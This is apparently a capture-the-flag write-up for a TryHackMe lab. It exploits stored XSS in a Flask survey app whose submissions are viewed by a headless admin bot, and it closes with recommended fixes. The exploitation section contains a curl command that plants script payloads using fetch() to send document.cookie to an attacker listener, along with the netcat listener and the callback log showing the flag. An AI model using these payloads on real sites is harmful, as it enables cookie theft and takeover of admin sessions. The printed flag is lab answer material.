Skip to main content

Writeup — "Cupid's Matchmaker" (Stored XSS → Admin Bot)

TryHackMe · "Cupid's Matchmaker" (Love At First Breach 2026) · Flask web app on port 5000
"No AI, just human matchmakers." — the human reviewer is a headless browser that renders your survey un-sanitized.
Objective
The app claims "our matchmaking team personally reviews every submission." That review happens in a headless Chrome bot. Inject a stored XSS payload into the survey, wait for the bot to visit it, and exfiltrate the reviewer's cookie — which contains the flag.
Flag
THM{XSS_CuP1d_Str1k3s_Ag41n}

Table of Contents

1. Reconnaissance

1

Service fingerprint

curl -i http://10.64.174.198:5000/

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Content-Type: text/html; charset=utf-8

Fingerprint: a Flask app (Werkzeug dev server) on Python 3.12. The homepage is "Cupid's Matchmaker" — a personality survey with copy that constantly stresses human review:

No Algorithms. No AI. Just Real Human Matchmakers.
Our matchmaking team personally reads and analyzes your submission.
📋 Our team typically reviews submissions within a minute.

2

Route discovery

GET /            200   Home page
GET /survey      200   Personality survey form
GET /login       200   "Admin Login / Matchmaking team members only"
GET /admin       302   → /login  (auth required)
GET /admin/submissions  302   → /login
GET /robots.txt  404
GET /.git/config 404

There is an admin area (login-gated), and the survey stores our answers for someone else to review. Login fuzzing with common defaults returned no hits.

2. Understanding the App / Attack Surface

3

The survey form

POST /survey  (application/x-www-form-urlencoded)

name          age        gender       seeking
ideal_date    describe_yourself      looking_for    dealbreakers

Submitting returns 302 → / with a flash message:

Thank you! Our matchmaking team will review your submission shortly!
Redirected to /

Our input is not reflected back to us — so reflected XSS / SSTI are unlikely. The input is stored and viewed elsewhere (the admin panel).

3. The Hypothesis — Stored XSS + Admin Bot

4

"A human reviews it" = a bot

Copy like "reviewed within a minute" is a textbook CTF hint: an automated reviewer (headless browser) opens submitted surveys. If any field is rendered as raw HTML, our JavaScript executes in the reviewer's privileged origin (http://localhost:5000).

No cookie stealing needed on our part beyond a listener — the bot simply phones home.

4. Exploitation — Exfiltrating the Cookie

5

Start a listener

nc -lvnp 8000

Attacker IP on the VPN: 192.168.157.97.

6

Plant payloads in every field

Because we can't see the admin panel, we don't know which field is un-sanitized — so we tag one payload per field to learn which one fires:

# each field gets a marker so we can identify the vulnerable one
curl -s -o /dev/null -X POST http://10.64.174.198:5000/survey \
  --data-urlencode "name=<script>fetch('http://192.168.157.97:8000/?f=name&c='+document.cookie)</script>" \
  --data-urlencode "age=25" \
  --data-urlencode "gender=Male" \
  --data-urlencode "seeking=Female" \
  --data-urlencode "ideal_date=<script>fetch('http://192.168.157.97:8000/?f=ideal&c='+document.cookie)</script>" \
  --data-urlencode "describe_yourself=<script>fetch('http://192.168.157.97:8000/?f=desc&c='+document.cookie)</script>" \
  --data-urlencode "looking_for=<script>fetch('http://192.168.157.97:8000/?f=look&c='+document.cookie)</script>" \
  --data-urlencode "dealbreakers=<script>fetch('http://192.168.157.97:8000/?f=deal&c='+document.cookie)</script>"

# 302 — accepted and queued for review

An earlier first attempt (image-onerror variant) produced no callback; the plain <script> tag with fetch() is what fired.

7

The bot reviews the submission

Within ~30 seconds the listener receives a callback from the review bot:

Connection received on 10.64.174.198 56008
GET /?f=deal&c=flag=THM{XSS_CuP1d_Str1k3s_Ag41n} HTTP/1.1
Host: 192.168.157.97:8000
User-Agent: Mozilla/5.0 ... HeadlessChrome/144.0.0.0 Safari/537.36
Origin: http://localhost:5000
Referer: http://localhost:5000/
  • User-Agent confirms the reviewer is HeadlessChrome.
  • f=deal tells us the dealbreakers field is the un-sanitized one.
  • c=flag=... — the flag was stored directly in the bot's cookie (no HttpOnly), so document.cookie leaks it.

5. Recovering the Flag

8

Result

THM{XSS_CuP1d_Str1k3s_Ag41n}

The flag text reads: "XSS Cupid strikes again."

6. How the App Should Be Fixed

  • Sanitize / escape all user input before rendering. Every survey field must be HTML-escaped in the reviewer's view — one un-escaped field (dealbreakers) was enough to own the review context.
  • Set HttpOnly on sensitive cookies. The flag/session lived in a cookie readable by JavaScript; HttpOnly would have blocked document.cookie exfiltration.
  • Never trust "humans review it" workflows: treat the reviewer browser as a privileged principal and assume any rendered user content is attacker-controlled.
  • Use a strict CSP / context-aware output encoding as defense in depth, even if fields are escaped.

7. Key Takeaways

  • "A human reviews your content" always means stored/blind XSS. Any feature where a moderator or bot views user-submitted content is a target.
  • Blind XSS needs a callback. You can't see the admin page — tag each field, fire a listener, and let the payload identify the vulnerable one.
  • Fetch-in-bot-context beats cookie tricks. The bot already holds the privileges; just ask it to exfiltrate document.cookie (or fetch internal endpoints like /flag).
  • HttpOnly matters. A single missing flag turned a session cookie into the flag.

Flag: THM{XSS_CuP1d_Str1k3s_Ag41n}